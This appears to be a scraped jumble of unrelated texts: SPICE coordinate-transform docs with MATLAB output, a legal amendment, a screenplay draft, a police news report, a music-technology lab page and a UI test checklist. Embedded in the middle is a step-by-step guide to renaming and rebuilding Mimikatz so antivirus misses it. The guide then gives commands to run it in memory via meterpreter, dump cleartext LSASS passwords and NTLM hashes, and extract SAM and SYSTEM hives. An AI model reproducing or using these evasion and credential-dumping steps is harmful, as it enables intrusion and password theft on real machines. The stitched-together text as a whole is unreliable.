Phoebe as seen by Cassini - latitudinal
Time: 2004-06-11 19:33:04 (TDB)
Position: 2198.169858 -2.701121 -0.075846
Velocity: -1.780939 0.002346 -0.001144
Time: 2004-06-11 19:41:04 (TDB)
Position: 3219.867849 -1.658508 -0.417279
Velocity: 4.797399 0.001217 -0.000145
Time: 2004-06-11 19:49:04 (TDB)
Position: 5872.818108 -1.368003 -0.429078
Velocity: 5.926982 0.000239 0.000018
Verification: Phoebe as seen by Cassini - rectangular
Time: 2004-06-11 19:33:04 (TDB)
Position: -1982.639762 -934.530471 -166.562595
Velocity: 3.970832 -3.812496 -2.371663
Time: 2004-06-11 19:41:04 (TDB)
Position: -257.857469 -2932.271650 -1304.929678
Velocity: 3.200173 -4.493939 -2.371569
Time: 2004-06-11 19:49:04 (TDB)
Position: 1075.597532 -5231.009547 -2443.280908
Velocity: 2.342482 -5.064820 -2.371563
Example(2):
Example program starts here.
% Initialize the cylindrical state.
%
state_cyl = [1 0.5 0.5 0.2 0.1 -0.2]';
%
% Load kernels.
%
cspice_furnsh( 'cpck05Mar2004.tpc' );
%
% Transform the state from cylindrical to planetographic.
% Note that since one of the coordinate systems is
% planetographic, the body name must be input.
%
state_plan = cspice_xfmsta ( state_cyl, 'cylindrical', ...
'planetographic', 'earth' );
%
% Transform the state back to cylindrical from
% planetographic. The result should be very close to 'state_cyl'.
%
state_cyl2 = cspice_xfmsta ( state_plan, 'planetographic',...
'cylindrical', 'earth' );
%
% Report the results.
%
fprintf('\nCylindrical State\n')
fprintf(' Position: %7.3f %7.3f %7.3f\n', state_cyl(1:3))
fprintf(' Velocity: %7.3f %7.3f %7.3f\n', state_cyl(4:6))
fprintf('\nPlanetographic State\n')
fprintf(' Position: %7.3f %7.3f %7.3f\n', state_plan(1:3))
fprintf(' Velocity: %7.3f %7.3f %7.3f\n', state_plan(4:6))
fprintf('\nVerification: Cylindrical State\n')
fprintf(' Position: %7.3f %7.3f %7.3f\n', state_cyl2(1:3))
fprintf(' Velocity: %7.3f %7.3f %7.3f\n', state_cyl2(4:6))
%
% Unload the kernels.
%
cspice_kclear
MATLAB outputs:
Cylindrical State
Position: 1.000 0.500 0.500
Velocity: 0.200 0.100 -0.200
Planetographic State
Position: 0.500 1.548 -6356.238
Velocity: 0.100 -0.005 -0.195
Verification: Cylindrical State
Position: 1.000 0.500 0.500
Velocity: 0.200 0.100 -0.200
Input Order
-------------------------------------------
The input and output states will be structured by the
following descriptions.
For rectangular coordinates, the state vector is the following
in which X, Y, and Z are the rectangular position components and
DX, DY, and DZ are the time derivatives of each.
ISTATE = ( X, Y, Z, DX, DY, DZ )
For cylindrical coordinates, the state vector is the following
in which R is the radius, LONG is the longitude, Z is the
height, and DR, DLONG, and DZ are the time derivatives of each.
ISTATE = ( R, LONG, Z, DR, DLONG, DZ )
For latitudinal coordinates, the state vector is the following
in which R is the radius, LONG is the longitude, LAT is the
latitude, and DR, DLONG, and DLAT are the time derivatives of
each.
ISTATE = ( R, LONG, LAT, DR, DLONG, DLAT )
For spherical coordinates, the state vector is the following in
which R is the radius, COLAT is the colatitude, LONG is the
longitude, and DR, DCOLAT, and DLONG are the time derivatives of
each.
ISTATE = ( R, COLAT, LONG, DR, DCOLAT, DLONG )
For geodetic coordinates, the state vector is the following in
which LONG is the longitude, LAT is the latitude, ALT is the
altitude, and DLONG, DLAT, and DALT are the time derivatives of
each.
ISTATE = ( LONG, LAT, ALT, DLONG, DLAT, DALT )
For planetographic coordinates, the state vector is the
following in which LONG is the longitude, LAT is the latitude,
ALT is the altitude, and DLONG, DLAT, and DALT are the time
derivatives of each.
ISTATE = ( LONG, LAT, ALT, DLONG, DLAT, DALT )
Input Boundaries
-------------------------------------------
There are intervals the input angles must fall within if
the input coordinate system is not rectangular. These
intervals are provided below.
Input variable Input meaning Input interval [rad]
-------------- ------------- ------------------------
LONG Longitude 0 <= LONG < 2*pi
LAT Latitude -pi/2 <= LAT <= pi/2
COLAT Colatitude 0 <= COLAT <= pi
For important details concerning this module's function, please refer to
the CSPICE routine xfmsta_c.
-Mice Version 1.0.0, 28-AUG-2012, SCK (JPL), EDW (JPL)
state transformation between coordinate systems
convert state
|


§17. The next to last sentence of the first paragraph of section 2 of the Federal Reserve Act (38 Stat. 251) as amended by section 19 of the Act of July7, 1958, (72 Stat. 339, 350) is amended by inserting after the word "Alaska" the words "or Hawaii."


Your customized drawing is coming soon.
I'm writing the screenplay that you and Javier isnpired. I'll apply insights from Aristotle's "Poetics."
I'll also apply some advice from Larry David himself.
This story is a comedy.
I'll also use some concepts from Theater, Opera and Classical Literature.
I'll include a Crash Course on Ancient Greek Theater for you here.
INT. UNKNOWN SPACE - DAY
We see Javier having a good time with his guest on his show. Rosie is doing all the tech work. Rosie looks very professional.
JAVIER
Okay, I have to ask: when it comes to girls -- Are you Team Ginger or Team Mary Anne?
GUEST
Oh, Mary Anne!
JAVIER
And Three's Company: hands down--Chrissy Snow!
GUEST
I kinda like Janet.
The set goes dark. Viewers are complaining because the audio and video is gone.
Rosie is disconnecting cables and equipment.
ROSIE
Oh, is that right? Well, go get your Chrissy Snows and Gingers to help you with this show.  I quit.
More information coming soon.
Click on any image of the heart below; it's a graphite sketch that I made, and it will take you to places you've inspired!


when executing mimikatz I got an error screen on the desktop stating a "DecodePointer" function in Kernel32.dll couldn't be found. I did some research on this error and learnt that the DecodePointer function was only added to kernel32.dll after Windows SP2: Mystery solved! I added the DecodePointer function to the solution, built it, fired up mimikatz on my Windows XP SP0 machine it worked.
------------------
Author: JollyFrogs, Brisbane
NOTE: Disable all virus-scanners before you start downloading, keep them disabled until your files are compiled
Get the required programs and files:
----------------------------------
Download:
https://github.com/gentilkiwi/mimika...ive/master.zip (Free)
Download: GRMWDK_EN_7600_1.ISO from Microsoft (Free)
Download: vs2013.4_ce_enu.iso from Microsoft (Free)
Download: fnr.exe from
https://findandreplace.codeplex.com/...ads/get/809617
Download:
http://mulder.googlecode.com/svn/tru...odePointer.lib (you can optionally compile it from source)
Install Driver Development Toolkit:
---------------------------------
Extract GRMWDK_EN_7600_1.ISO with 7-zip
Run KitSetup.exe
- Click Yes to start the installation
- Tick "Full Development Environment" and leave all other options unticked
- Click "OK" in the bottom right
- Install path: C:\WinDDK\7600.16385.1\
- Click "OK" in the bottom right
- Tick "I Agree" in the bottom left and click "OK"
NOTE: The installation commences
- Click "Finish" in the "Microsoft WDK Install Progress" screen
Install Visual Studio 2013 Community Edition:
-------------------------------------------
Extract vs2013.4_ce_enu.iso with 7-zip
Run vs_community.exe
- Click "Continue" if you get a setup warning
- Install path: C:\Program Files (x86)\Microsoft Visual Studio 12.0\
- Tick "I agree to the License Terms and Privacy Policy."
- Untick "Join the Visual Studio Experience Improvement Program"
- Click "Next"
- Tick and then untick "Select All" to select nothing
- Click "INSTALL"
- Click "Yes" to close the UAC warning screen
NOTE: the installation commences
- Click "LAUNCH" after install completes
- Click "Not now, maybe later." in the Welcome screen
- Select "General" and Select "Blue" and Click "Start Visual Studio"
Prevent AV detection on Mimikatz:
---------------------------------
Extract mimikatz-master.zip to C:\jollykatz\ (you should end up with C:\jollykatz\mimikatz-master\mimikatz.sln" and a whole bunch of files/folders)
run the following in a cmd.exe to rename all files and folders to from "mimi" to "jolly":
powershell.exe -noprofile -command "1..10 | % {Get-ChildItem c:\jollykatz\ -Filter \"*mimi*\" -Recurse | Rename-Item -NewName {$_.name -replace 'mimi','jolly' }}"
powershell.exe -noprofile -command "1..10 | % {Get-ChildItem c:\jollykatz\ -Filter \"*kuhl*\" -Recurse | Rename-Item -NewName {$_.name -replace 'kuhl','frog' }}"
run fnr.exe with following settings:
Dir: C:\jollykatz\
Tick "Include sub-directories
File Mask: *.*
Find: mimi
replace: jolly
Click "replace"
run fnr.exe with following settings:
Dir: C:\jollykatz\
Tick "Include sub-directories
File Mask: *.*
Find: kuhl
replace: frog
Click "replace"
run fnr.exe with following settings:
Dir: C:\jollykatz\
Tick "Include sub-directories
File Mask: *.*
Find: eo.oe.kiwi
replace: THINC.local
Click "replace"
Close fnr.exe
Copy "EncodePointer.lib" to C:\jollykatz\jollykatz-master\lib\Win32
Copy "EncodePointer.lib" to C:\jollykatz\jollykatz-master\lib\x64
NOTE: We're adding "EncodePointer.lib" because WinXP SP0/SP1 would error out with a DecodePointer error caused by compiling with VS2013
Now we'll build "Jollykatz":
-------------------------
- Double-click on "C:\jollykatz\jollykatz-master\jollykatz.sln"
NOTE: Visual Studio Community Edition opens your project
- In the "Solution Explorer" window on the right, expand "global files" -> "lib" -> right-click on "Win32" and select "Add" -> "Existing Item"
- Choose "C:\jollykatz\jollykatz-master\lib\Win32\EncodePointer.lib"
- In the "Solution Explorer" window on the right, expand "global files" -> "lib" -> right-click on "x64" and select "Add" -> "Existing Item"
- Choose "C:\jollykatz\jollykatz-master\lib\x64\EncodePointer.lib"
- In the "Solution Explorer" window on the right, right-click on "jollykatz" (might have to scroll to bottom) and select "Properties"
- Expand "Configuration Properties" -> "General" -> Set "Use of MFC" to "Use Standard Windows Libraries"
- Click "Apply" in the bottom
- Expand "Configuration Properties" -> "C/C++" -> "Code Generation" -> Set "Runtime Library" to "Multi-threaded (/MT)"
- Click "Apply" in the bottom
- Expand "Configuration Properties" -> "Linker" -> "Input" -> Add "EncodePointer.lib;" at the start of "Additional Dependencies" (in front of "advapi32.lib")
- Click "OK" in the bottom
- In the top menu bar, click "Build" -> "Rebuild Solution"
NOTE: You should see "Rebuild All: 3 succeeded, 0 failed, 0 up-to-date, 0 skipped"
NOTE: This means that the 32-bit build succeeded!
- In the top bar, next to "Release", change "Win32" to "x64"
- In the top menu bar, click "Build" -> "Rebuild Solution"
NOTE: You should see "Rebuild All: 3 succeeded, 0 failed, 0 up-to-date, 0 skipped"
NOTE: This means that the 64-bit build succeeded!
NOTE: You should now see 5 files in the C:\jollykatz\jollykatz-master\Win32\ directory, of which you will need 3:
- jollykatz.exe
- jollylib.dll
- jollydrv.sys
NOTE: You should see the same file structure in the C:\jollykatz\jollykatz-master\x64\ directory
Copy and rename C:\jollykatz\jollykatz-master\Win32\jollykatz.exe to C:\jollykatz\jollykatz32.exe
Copy and rename C:\jollykatz\jollykatz-master\x64\jollykatz.exe to C:\jollykatz\jollykatz64.exe
NOTE: Typically, you only need jollykatz.exe, the driver (jollydrv.sys) and library (jollylib.dll) files are optional. If you need the drivers, copy and rename them as well.
NOTE: Hopefully, your antivirus won't pick up on the new jollykatz.exe files. If it does, you'll need to modify some code. Or use the Veil framework.
Run Mimikatz from memory through meterpreter (advisable):
---------------------------------------------------------
execute -H -i -c -m -d calc.exe -f jollykatz.exe -a '"privilege::debug" "sekurlsa::logonPasswords full" "exit"'
How to use:
------------
-- dump clear-text passwords from LSASS process:
C:\> jollykatz32.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit"
-- Steal users credentials until they reset their passwords:
C:\> jollykatz32.exe "privilege::debug" "sekurlsa::ekeys" "exit"
-- Dump LM and NTLM hashes from SAM:
C:\> jollykatz32.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
-- read SAM file from /repair or ntbackup files:
C:\> reg save HKLM\SYSTEM SystemBkup.hiv
C:\> reg save HKLM\SAM SamBkup.hiv
(Or use Volume Shadow Copy / BootCD to backup these files or get them from the repair folder
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
C:\> jollykatz32.exe "lsadump::sam SystemBkup.hiv SamBkup.hiv" "exit"


622 arrested during festive season operation
Police remain concerned with the high number of incidents being reported in the vicinity of liquor establishments.
by Bianca LalbahadurMore than 622 arrests were made within the various police precincts during the festive season operation, over the weekend.
Those who were arrested were linked to various crimes which ranged from murder, attempted murder, assault with intent to cause grievous bodily harm, robbery, burglary, pointing of firearm, rape, theft, fraud, assault, business robbery, stock theft and attempted carjacking.
Police spokesperson, Brig Jay Naicker said, “A number of those arrested were for possession of drugs, possession of firearm, possession of suspected stolen property and violation of protection orders. Seventeen illegal liquor outlets were shut down with the traders being charged for dealing in liquor. Police operations also netted a number of persons who were charged for traffic violations and driving under the influence of liquor.”
Police also seized a large number of firearms, gas guns, homemade firearms, ammunition, five stolen bakkies, liquor, counterfeit clothing, counterfeit money, counterfeit bags and an assortment of drugs which include mandrax, heroin and cocaine.
“Twelve individuals were arrested for murder, 35 for assault with intent to cause grievous bodily harm, 33 were arrested for business and armed robberies, 113 were arrested for drug-related offences, five were charged for domestic related incidents whilst three warrants of arrest were executed,” he added.
The KwaZulu-Natal provincial commissioner, Lieutenant General Khombinkosi Jula commended police officers for the arrests.
“We remain concerned with the high number of incidents being reported in the vicinity of liquor establishments. During this festive season we will continue to focus our operations on legal and illegal liquor outlets and we appeal to citizens to consume alcohol in a responsible manner,” he said.
DID YOU KNOW?
Click on the words highlighted in red to read more on this and related topics.
To receive news links via WhatsApp or Telegram, send an invite to<PHONE_NUMBER>
The South Coast Sun is also on
Facebook
,
Twitter
,
Instagram
and
Pinterest
– why not join us there?
Do you have more information pertaining to this story?
Feel free to let us know by commenting on our Facebook page or you can contact our newsroom on<PHONE_NUMBER> and speak to a journalist.
To receive our free newsletter click here


SELCT is a world leader in mechatronic music and its sub-disciplines of robotic music and kinetic sound sculpture. A core focus of SELCT is the integration of mechatronic engineering practices into the development of these instruments, allowing for enhanced accuracy, precision, and performance; such enhanced capabilities result in more compelling affordances for composers and musicians. Indeed, SELCT emphasises not only the development of mechatronic instruments but also the performative and installation use of them: through SELCT, Wellington has become a hotbed of mechatronic music performance and composition.
SELCT’s current research on mechatronic music focuses on the means by which musicians may interface with new expressive instruments. In addition to developing, characterising, and using these instruments, new human/robot interfaces are being explored and tested.
SELCT is actively recruiting postgraduate students (at Master's and Doctoral level) for research projects centred on the study of mechatronic music. Additionally, SELCT seeks collaborators and performers from other institutions for development, performance, and installation use of mechatronic instruments.
SELCT has a strong presence in the field of music information retrieval for pedagogy and computational ethnomusicology. Many of SELCT’s contributions to these fields come in the form of multimodal systems: using a variety of sensing techniques to obtain datasets of higher dimensionality than is traditionally available. SELCT researchers often feed this multimodal data acquisition and feature extraction approach into machine learning frameworks, using these data in practical classification and clustering applications.
A recent example of an applied MIR application explored by SELCT is the development of a gesture recognition system used to acquire and preserve expert-level musicians’ instrument-playing techniques. Similarly, multimodal data acquisition approaches have been used for percussion instrument pedagogy. Additionally, SELCT researchers have utilised MIR features for kinetic sound art installation purposes.
SELCT is actively seeking postgraduate students who wish to engage in research projects that utilise music information retrieval and machine learning approaches for musicological purposes, pedagogy, and for creative performance and installation use. For more information, please contact us.
SELCT faculty and students are innovators in the field of new interfaces for musical expression. As innovators in this field, SELCT researchers pursue new means by which sensors and data acquisition systems may be used to control and effect audiovisual experiences. Notable recent projects exploring these new interfaces include the development of a glove-style interface that utilises cutting-edge inertial measurement units. This unit is used both for performance as well as for musicological outputs; it is currently being explored as an intuitive way of controlling parametrically-dense mechatronic instruments. Similarly, new sensor apparatuses are being applied to traditional instruments to allow our researchers to increase their understanding of performers’ playing styles.
In addition to creating tools for musicological research, SELCT members are active developers of new interfaces (software-based as well as hardware-based) to be used in real-world performances. Notable recent applications include the development of hardware and software tools to position sounds within the listening space.
SELCT is an excellent place for those interested in studying and developing new musical interfaces. Learn more about joining us here.
In addition to developing mechatronic musical instruments, MIR systems, and new musical interfaces, SELCT artists actively engage in the creation of a diverse range of types of sound art. These artworks range from kinetic and mechanical devices through to art-oriented games, app, and mixed-media compositions.
As part of the development of this artwork, SELCT researchers continue to engage in historical and critical studies of sound art, sonic arts, and music; a number of refereed journal and conference publications reflect this engagement into the study of prior works and their effect on the current state of sound art. In addition to the development of writings about the field of sound art, SELCT members actively install and perform new works.
Notable recent avenues of sound art study include an examination of Brutalist architecture and its translation to mechatronic sound sculpture, as well as an ongoing study of artworks that explore psychoacoustic phenomena and the means by which listeners perceive sonic elements. SELCT faculty and students are closely engaged with the artmaking process, showing works internationally in festivals and performances; for prospective students interested in pursuing sound art-based studies, please contact us.
Jon He
Doctoral Thesis, Victoria University of Wellington. 2017.
Jason Long, Jim Murphy, Dale Carnegie, Ajay Kapur
Organised Sound, Vol. 22 No. 2
Dale A. Carnegie, Mo H. Zareei, Jim Murphy and Craig Watterson
International Journal of Engineering Pedagogy 1, (2017): pp. 151-172
Blake Johnston, Ajay Kapur, Jim Murphy, Michael Norris
Proceedings of the 2017 International Symposium on Electronic Art, Manizales, Colombia. June, 2017.
Mo H. Zareei, Dugal McKinnon, Dale A. Carnegie, Ajay Kapur
Organised Sound, Volume 21, Issue 1. April 2016, pp. 51-60. Cambridge University Press.
Mo H. Zareei
Doctoral Thesis, Victoria University of Wellington. 2016.
Jason Long, Jim Murphy, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2016 Electronics New Zealand Conference (ENZCon), Wellington, New Zealand
Blake Johnston, Bridget Johnson, Ajay Kapur
Proceedings of the 2016 Electronics New Zealand Conference (ENZCon), Wellington, New Zealand
Dugal McKinnon, Jim Murphy, Mo H. Zareei
Proceedings of the 2016 International Conference on Auditory Display (ICAD), Canberra, ACT, Australia
Bridget Johnson, Michael Norris, Ajay Kapur
Proceedings of the 2016 International Conference New Interfaces for Musical Expression (NIME'16), Brisbane, QLD, Australia
Jason Long, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2016 International Conference New Interfaces for Musical Expression (NIME'16), Brisbane, QLD, Australia
Jason Long, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2016 International Conference New Interfaces for Musical Expression (NIME'16), Brisbane, QLD, Australia
Richard Vindriis, Dale A. Carnegie
Proceedings of the 2016 International Conference New Interfaces for Musical Expression (NIME'16), Brisbane, QLD, Australia
Mo H. Zareei, Dale A. Carnegie, and Ajay Kapur
Leonardo Music Journal, Volume 25, No. 1, pp. 63-67. MIT Press.
Jim Murphy, Paul Mathews, James McVay, Ajay Kapur, Dale A. Carnegie
Computer Music Journal, Volume 39, No. 1, pp. 59-73. Spring 2015. MIT Press.
Mo H. Zareei
Journal of Comparative Media Arts 1 (2015): (online).
Jingyin He, Jim Murphy, Ajay Kapur, Dale A. Carnegie
Array: The Journal of the International Computer Music Association. Special Issue: Proceedings of Si15.
Blake Johnston, Bridget Johnson, Michael Norris, Ajay Kapur
Proceedings of the 2015 Australasian Computer Music Conference, Sydney, NSW, Australia.
Paul Dunham, Bridget Johnson
Proceedings of the 2015 Australasian Computer Music Conference, Sydney, NSW, Australia.
Jon He
(Abstract) 19th International CHIME Meeting: The New Face of Chinese Music, Genève, Switzerland, October 2015, pp. 31-32.
Mo H. Zareei, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2015 International Computer Music Conference, Denton, Texas, USA.
Jason Long, Josh Bailey, James McVay, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2015 International Computer Music Conference, Denton, Texas, USA.
Diana Siwiak, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2015 International Symposium on Performance Science (ISPS), Kyoto, Japan, September 2015.
Timothy Barraclough, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2015 International Symposium on Electronic Art (ISEA), Vancouver, BC, Canada. August 2015.
Jason Long
Proceedings of the 2015 International Symposium on Electronic Art (ISEA), Vancouver, BC, Canada. August 2015.
Mo H. Zareei, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2015 International Symposium on Electronic Art (ISEA), Vancouver, BC, Canada. August 2015.
Jon He, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2016 International Conference on New Interfaces for Musical Expression, Baton Rouge, LA, USA. June 2015.
Jason Long, Jim Murphy, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2016 International Conference on New Interfaces for Musical Expression, Baton Rouge, LA, USA. June 2015.
Jason Long, Jim Murphy, Dale A. Carnegie, Ajay Kapur
Proceedings of the 6th International Conference on Automation, Robotics and Applications (ICARA), Queenstown, New Zealand. February 2015.
Bridget Johnson
Leonardo Music Journal, Volume 24, pp. 13-15. November 2014. MIT Press.
Jon He, Ajay Kapur, Dale A. Carnegie
Organised Sound, Volume 19, pp. 136-145. Fall 2014. Cambridge University Press.
Jim Murphy
Doctoral Thesis, Victoria University of Wellington. 2014.
Jason Long, Jim Murphy, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2014 Electronics New Zealand Conference (ENZCon). Waikato, New Zealand. November 2014.
Kameron Christopher, Ajay Kapur, Dale A. Carnegie, Gina M. Grimshaw
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Bridget Johnson, Michael Norris, Ajay Kapur
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Bridget Johnson, Michael Norris, Ajay Kapur
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Blake Johnston, Josh Bailey, Dugal McKinnon
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Jim Murphy, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Jim Murphy, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Diana Siwiak, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Mo H. Zareei, Dale A. Carnegie, Ajay Kapur, Dugal McKinnon
Proceedings of the 2014 International Computer Music Conference (ICMC). Athens, Greece. September 2014.
Bridget Johnson, Michael Norris, Ajay Kapur
Proceedings of the 2014 International Conference on New Interfaces for Musical Expression. London, UK. July 2014.
Blake Johnston, Henry D. Thrush, Jim Murphy, Tane Molata, Ajay Kapur
Proceedings of the 2014 International Conference on New Interfaces for Musical Expression. London, UK. July 2014.
Paul Mathews, Jim Murphy, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2014 International Conference on New Interfaces for Musical Expression. London, UK. July 2014.
Jim Murphy, Paul Mathews, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2014 International Conference on New Interfaces for Musical Expression. London, UK. July 2014.
Mo H. Zareei, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2014 International Conference on New Interfaces for Musical Expression. London, UK. July 2014.
Bridget Johnson, Michael Norris, Ajay Kapur
Proceedings of the 2014 Australasian Computer Music Conference. Melbourne, VIC, Australia. July 2014.
Diana Siwiak, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2014 Australasian Computer Music Conference. Melbourne, VIC, Australia. July 2014.
Jordan Hochenbaum
Doctoral Thesis. Victoria University of Wellington, 2013.
Owen Vallis
Doctoral Thesis. Victoria University of Wellington, 2013.
Bridget Johnson
Master of Musical Arts Exegesis. Victoria University of Wellington, 2013.
Kameron Christopher, Gina M. Grimshaw, Ajay Kapur, Dale A. Carnegie
ACNS-2013 Australasian Cognitive Neuroscience Society Conference (Frontiers), Melbourne, Australia, November 2013.
Kameron Christopher, Jon He, Ajay Kapur, Dale A. Carnegie
Proceedings of the Symposium on Sound and Interactivity, Singapore, November 2013.
Kameron Christopher, Ajay Kapur, Dale A. Carnegie, Gina M. Grimshaw
Proceedings of the 28th International Conference on Image and Vision Computing New Zealand, Wellington, New Zealand, November 2013.
Jim Murphy, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2013 Engineering New Zealand Conference (ENZCon), Auckland, New Zealand. September 2013.
Bridget Johnson, Jim Murphy, Ajay Kapur
Proceedings of the 2013 International Computer Music Conference, Perth, Western Australia. August 2013.
Jim Murphy, Ajay Kapur
Proceedings of the 2013 International Computer Music Conference, Perth, Western Australia. August 2013.
Mo H. Zareei, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2013 International Computer Music Conference, Perth, Western Australia. August 2013.
Bridget Johnson, Ajay Kapur
Proceedings of the 2013 International Conference on New Interfaces For Musical Expression (NIME). Daejeon and Seoul, Korea. May 2013.
Jim Murphy, Ajay Kapur, Dale A. Carnegie
Leonardo Music Journal, Volume 22, pp. 41-48. November, 2012. MIT Press.
Owen Vallis, Dimitri Diakopoulos, Jordan Hochenbaum, Ajay Kapur
Organised Sound, Volume 17, pp. 62-72. April, 2012. Cambridge University Press.
James McVay, Jim Murphy, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2012 Electronics New Zealand Conference (ENZCon). Dunedin, New Zealand, December 2012.
Jordan Hochenbaum, Ajay Kapur
Proceedings of the 2012 International Computer Music Conference (ICMC). Ljubliana, Slovenia. September, 2012.
Jordan Hochenbaum, Ajay Kapur
Proceedings of the 2012 Australasian Computer Music Conference (ACMC). Brisbane, Australia. July, 2012.
Bridget Johnson, Ajay Kapur
Proceedings of the 2012 Australasian Computer Music Conference (ACMC). Brisbane, Australia. July, 2012.
Blake Johnston, Ajay Kapur
Proceedings of the 2012 Australasian Computer Music Conference (ACMC). Brisbane, Australia. July, 2012.
Jim Murphy, Ajay Kapur, Dale A. Carnegie
Proceedings of the 2012 Australasian Computer Music Conference (ACMC). Brisbane, Australia. July, 2012.
Jordan Hochenbaum, Ajay Kapur
Proceedings of the 2012 International Conference on New Interfaces for Musical Expression (NIME). Ann Arbor, Michigan. May, 2012.
Blake Johnston, Owen Vallis, Ajay Kapur
Proceedings of the 2012 International Conference on New Interfaces for Musical Expression (NIME). Ann Arbor, Michigan. May, 2012.
Ajay Kapur, Jim Murphy, Dale A. Carnegie
Proceedings of the 2012 International Conference on New Interfaces for Musical Expression (NIME). Ann Arbor, Michigan. May, 2012.
Ajay Kapur, Michael Darling, Dimitri Diakopoulos, Jim Murphy, Jordan Hochenbaum, Owen Vallis, Curtis Bahn
Computer Music Journal, Volume 35, No. 4, pp. 49-53. Winter, 2011. MIT Press.
Owen Vallis, Ajay Kapur
Leonardo Music Journal, Volume 21, No. 4, pp. 29-34. November, 2011. MIT Press.
Richard Vindriis, Dale A. Carnegie, Ajay Kapur
Proceedings of the 2011 Electronics New Zealand Conference (ENZCon). Palmerston North, New Zealand. November, 2011.
Jason Erskine, Ajay Kapur
Proceedings of the 2011 Australasian Computer Music Conference (ACMC). Auckland, New Zealand. July, 2011.
Jim Murphy, Ajay Kapur
Proceedings of the 2011 Australasian Computer Music Conference (ACMC). Auckland, New Zealand. July, 2011.
Owen Vallis, Jordan Hochenbaum, Jim Murphy, Ajay Kapur
Proceedings of the 2011 Australasian Computer Music Conference (ACMC). Auckland, New Zealand. July, 2011.
Jordan Hochenbaum, Ajay Kapur
Proceedings of the 2011 International Conference on New Interfaces for Musical Expression. Oslo, Norway. May, 2011.
Jordan Hochenbaum, Ajay Kapur, Matthew Wright
Proceedings of the 2010 Conference on New Interfaces for Musical Expression. Sydney, NSW, Australia. June, 2010.
Jordan Hochenbaum, Owen Vallis, Dimitri Diakopoulos, Jim Murphy, Ajay Kapur
Proceedings of the 2010 Conference on New Interfaces for Musical Expression. Sydney, NSW, Australia. June, 2010.
Owen Vallis, Jordan Hochenbaum, Ajay Kapur
Proceedings of the 2010 Conference on New Interfaces for Musical Expression. Sydney, NSW, Australia. June, 2010.
Dimitri Diakopoulos, Owen Vallis, Jordan Hochenbaum, Jim Murphy, Ajay Kapur
Proceedings of the International Society on Music Information Retrieval Conference. Kobe, Japan. October, 2009.


So, we are consuming close to 1TB per online user per day, and the number continues to rise. Just how big is this number? Let's compare it to data ingestion done by a human without using any technology. Most of the data ingestion for humans is via eyes and ears, which are roughly equivalent to a video, which keeps on playing for us for 16 hours a day. A high quality 1 hour video consumes around 40GB of space. Thus, over the course of a day, an average human consumers around 640GB worth of information. Note that not all information is the same: information coming via the reading of a book has a much higher information density compared to gazing in a field, since the book contains the distilled knowledge of the author. However, such a comparison of total information ingested per human gives us some idea of how advanced our technology is compared to our biology.
Above analysis seems to suggest that per capita computer data transfer has reached the level of our eyes and ears just recently. Since data transfer is on the rise, we can expect computers to augment the humans ever more, at least by this metric.


| 1 |
API Viewer |
| 1.2 |
Class docs load |
|
|
|
| 1.3 |
Tabs are working (new with shift-/ctrl-left-mouse) |
|
|
|
| 1.5 |
Toggling feature display via toolbar (Properties, Includes, ...) |
|
|
|
| 1.6 |
Enhanced Search: disable various categories to search in (package,
class, ...) and check results
|
|
|
|
| 1.6 |
Add a query to the app URL, e.g. /apiviewer?search=form.
After loading, the search view must be activated, the term must be
entered into the search text field and the first result must be
selected and displayed in the detail viewer. |
|
|
|
| 1.7 |
Resizing browser: Application adapts |
|
|
|
| 1.8 |
Resizing browser: Content/controls remain accessible |
|
|
|
| 2 |
Test Runner - Framework Tests
|
| 2.1 |
Test App loads |
|
|
|
| 2.2 |
Select tests |
|
|
|
| 2.3 |
Tests run (random samples)
|
|
|
|
| 2.6 |
Reload AUT (clears log)
|
|
|
|
| 2.8 |
Resizing browser: Application adapts |
|
|
|
| 2 |
Test Runner - Component Tests |
| 2.1 |
Test App loads |
|
|
|
| 2.2 |
Select tests |
|
|
|
| 2.2 |
Filter test selection using the search box |
|
|
|
| 2.3 |
Tests run (*Fail should fail, *Ssl should be skipped, all other
success)
|
|
|
|
| 2.2 |
"Show succesful tests" toggle works |
|
|
|
| 3 |
Demo Browser |
| 3.1 |
Interact with a few demos (pick randomly; widgets are covered by
Widgetbrowser)
|
|
|
|
| 3.2 |
Previous/Next navigation works |
|
|
|
| 3.3 |
Search for some demo names and class names |
|
|
|
| 3.4 |
Previous/Next navigation works in Search Results |
|
|
|
| 3.5 |
Switching of theme (Simple, Classic) |
|
|
|
| 3.6 |
Toggling of optional panes (HTML Code, JS Code, Log File) |
|
|
|
| 3.7 |
Check the link to the playground (except IE) |
|
|
|
| 3.8 |
Check the link to own window |
|
|
|
| 3.9 |
Check if the link to the manual and
the api works |
|
|
|
| 3.10 |
Resizing browser: Application adapts |
|
|
|
| 3.11 |
Resizing browser: Content/controls remain accessible |
|
|
|
| 4 |
Feed Reader
|
| 4.1 |
Feeds and articles load and look ok |
|
|
|
| 4.2 |
